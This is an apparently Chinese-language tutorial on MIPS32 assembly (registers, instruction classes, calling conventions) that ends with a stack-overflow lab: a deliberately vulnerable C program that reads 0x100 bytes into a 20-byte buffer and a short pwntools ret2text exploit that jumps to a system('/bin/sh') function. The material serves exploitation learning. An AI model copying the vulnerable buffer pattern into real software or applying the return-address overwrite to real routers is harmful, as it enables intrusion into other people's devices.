不得不说现在iot是越来越卷了(T_T)
mips基础>这里笔者参考了《家用路由器0day漏洞挖掘技术》
MIPS汇编基础
MIPS32的指令中除了加载/存储指令以外,都使用寄存器或者立即数作为操作数,以便让编译器通过保持对寄存器内数据的频繁存取进一步优化代码的生成性能。MIPS32中的寄存器分为两类,分别是通用寄存器(GPR)和特殊寄存器
寄存器
MIPS32中的寄存器分为两类:通用寄存器(GPR)和特殊寄存器
通用寄存器
在MIPS中有32个通用寄存器。
zero:第0号寄存器,其值始终为0
$at:保留寄存器
$v0~$v1:保存表达式或函数返回结果
$a0~$a3:作为函数的前4个参数
$t0~$t7:供汇编程序使用的临时寄存器
$s0~$s7:子函数使用时需要先保存原寄存器的值
$t8~$t9:供汇编程序使用的临时寄存器
$k0~k1:保留,中断处理函数使用
$gp:全局指针
$sp:堆栈指针,指向堆栈的栈顶
$fp:保存栈指针
$ra:返回地址
特殊寄存器
在MIPS中有3个特殊寄存器
PC:程序计数器
HI:乘除结果高位寄存器
LO:乘除结果低位寄存器
在乘法时,HI存储高32位,LO存储低32位。在除法时,HI保存余数,LO存储商
字节序
和x86体系都差不多,大端序,小端序。拿个0xdeadbeef来演示一下
大端序:de ad be ef
小端序:ef be ad de
MIPS指令
LOAD/STORE指令
这种指令有14条:lb,lbu,lh,lhu,ll,lw,lwl,lwr,sb,sc,sh,sw,swl,swr,move
以’l’开头都是加载指令,以’s’开头都是存储指令
LA:用于将一个地址或标签存入一个寄存器
LI:用于将一个立即数存入一个通用寄存器
LW:用于从一个指定的地址加载一个word类型的值到一个寄存器中
SW:用于将源寄存器中的值存入指定的地址
MOVE:用于寄存器之产间值的传递
算术运算指令
算术运算指令有21条:add,addi,addiu,addiu,sub,subu,clo,clz,slt,slti,sltiu,sltu,mul,mult,multu,madd,msub,msubu,div,divu,实现了加减,比较,乘,乘累加,除等运算
add是带符号数相加
sub带符号数相减
mult把64Bits的积存储到HI和LO中
mfhi $t0:$t0=$HI
mflo $t1:$t1=$LO
类比较指令
在MIPS寄存器中没有标志寄存器,但是在MIPS指令中有一种指令——SLT系列指令,可以通过比较设置某个寄存器后与分支跳转指令联合使用,类似x86比较指令。slt,slti,sltiu,sltu
SLT:指令在$Rs小于$Rt时设置寄存器$Rd为1,否则$Rd为0,例如:SLT $Rd, $Rs, $Rt
SLTI:指令在$Rs小于立即数imm时设置寄存器$Rt为1,否则设置$Rt为0,例如:slti $Rt, $Rs, imm
SLTU:在$Rs小于$Rt时设置寄存器$Rd为1,否则设置$Rd为0,例如:sltu $Rd, $Rs, $Rt
SYSCALL
产生一个软中断,从而实现系统调用。系统调用号存放在$v0中,参数存放在$a0~$a3中。如果参数过多,会有另一套机制来处理。系统调用的返回值通常放在$v0中。如果系统调用出错,则会在$a3中返回一个错误号。
分支跳转指令
在MIPS中,分支中转指令本身可以通过比较两个寄存器中的值来决定是否中转。
b target:无条件的分支跳转,则中转到target标签处
beq $t0, t1, target:如果$t0=$t1,则跳转到target标签处
blt $t0, $ t1, target:如果$t0 < $t1,则跳转到target标签处
ble $t0, $t1, target:如果$t0 <= $t1,则跳转到target标签处
bgt $t0, $t1, target:如果$t0 > $t1,则跳转到target标签处
bge $t0, $t1, target:如果$t0 >= $t1,则跳转到target标签处
bne $t0, $t1, target:如果$t0 != $t1,则跳转到target标签处
跳转指令
j target:无条件跳转,将跳转到target标签处
jr $t3:跳转到$t3寄存器指向的地址处
jal target:中转到target标签处,并保存返回地址到$ra中
函数调用
在MIPS32架构中,函数被分为两种即叶子函数和非叶子函数。通俗点来说就是不调用其它的函数的函数可以看成叶子函数,一个函数调用了其它的函数这个函数就是非叶子函数
#include <stdio.h>
void p(){
puts("hello world");
}
int main(int argc, char **argv){
p();
return 0;
}
在上面这个程序中,p是叶子函数,main是非叶子函数
MIPS32在进入函数时是将当前栈指针向下移动n到该函数的stack frame,函数返回时再加上偏移量恢复栈指针
传参过程中,前四个参数$a0-$a3,多余的会保存在调用函数的预留的栈顶空间内
MIPS调用函数时会把函数的返回地址直接存入$RA寄存器
寄存器出入栈时都需要指定偏移量
这里笔者将上面的这个程序使用mips的gcc来进行编译然后看一下汇编
笔者这里的环境只需要装一个交叉编译环境 buildroot
,搭建环境可以看看这篇文章https://xz.aliyun.com/t/3826,另外还需要装qemu,笔者在kernel初始的那个章节已经写过
拿到ghidra里反汇编一下,先看看main函数
可以看到进入函数时是将当前栈指针向下移动n到该函数的stack frame,函数返回时再加上偏移量恢复栈指针
在0x107d8这里bal p,也就是跳转到了p函数,跟进p函数。在调用非叶子函数时,会把返回地址存入堆栈
这个函数一开始还是应了上面那句话进入函数时是将当前栈指针向下移动n到该函数的stack frame,函数返回时再加上偏移量恢复栈指针
在0x10780这里jalr了puts。也就是调用了puts这个函数,前面说到过$a0~$a3是前4个参数,这里只用了a0,lw v0, -0x7fcc(gp); addiu $ a0, v0, 0x8e0
lw是加载指令,在这里是将ptr_21044的值加载到v0中(21044里的值为0),接着a0 = v0 + 0x8e0,现在a0里面是为0x8e0,其实也就是helloworld。现在一参有了,系统函数有了然后直接jalr实现puts(“hello world”);
MIPS栈溢出
MIPS一定了解之后可以试着看一看栈溢出。其实最经典的ret2text的利用手法和x86体系没有多大的区别,都是找准偏移然后覆盖掉返回地址,从上面的例子可以看到在调用非叶子函数时,会把返回地址存入堆栈,所以ret2text可以直接覆盖返回地址。直接上一个例子
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
void bk(){
system("/bin/sh");
}
void vuln(){
char a[20];
read(0, a, 0x100);
}
int main(int argc, char**argv){
vuln();
return 0;
}
mipsel-linux-gcc exp.c -no-pie -static -o exp
这里笔者使用了-static,不然的话会有mipsel-binfmt-P: Could not open ‘/lib/ld-uClibc.so.0’: No such file or directory这个错误。
源代码很直观,漏洞点出现在了read这里
根据上面的MIPS知识,可以看到在vuln函数中,or s8,sp,zero
``addiu v0,s8,0x18`发现距离栈底为0x18,再加上栈底距ret_addr的4位偏移(因为是32位程序)就可以覆盖掉ret_addr(使用非叶子函数时,会把返回地址存入堆栈)。exp如下:
from pwn import *
context(arch='mips', os='linux', log_level='debug')
file_name = './exp'
debug = 0
if debug:
r = remote()
else:
r = process(file_name)
elf = ELF(file_name)
def dbg():
gdb.attach(r)
p1 = b'a' * (0x18 + 4) + p32(0x4003b0)
r.sendline(p1)
r.interactive()
Reference
《家用路由器0day漏洞挖掘技术》
https://xz.aliyun.com/t/6808#toc-8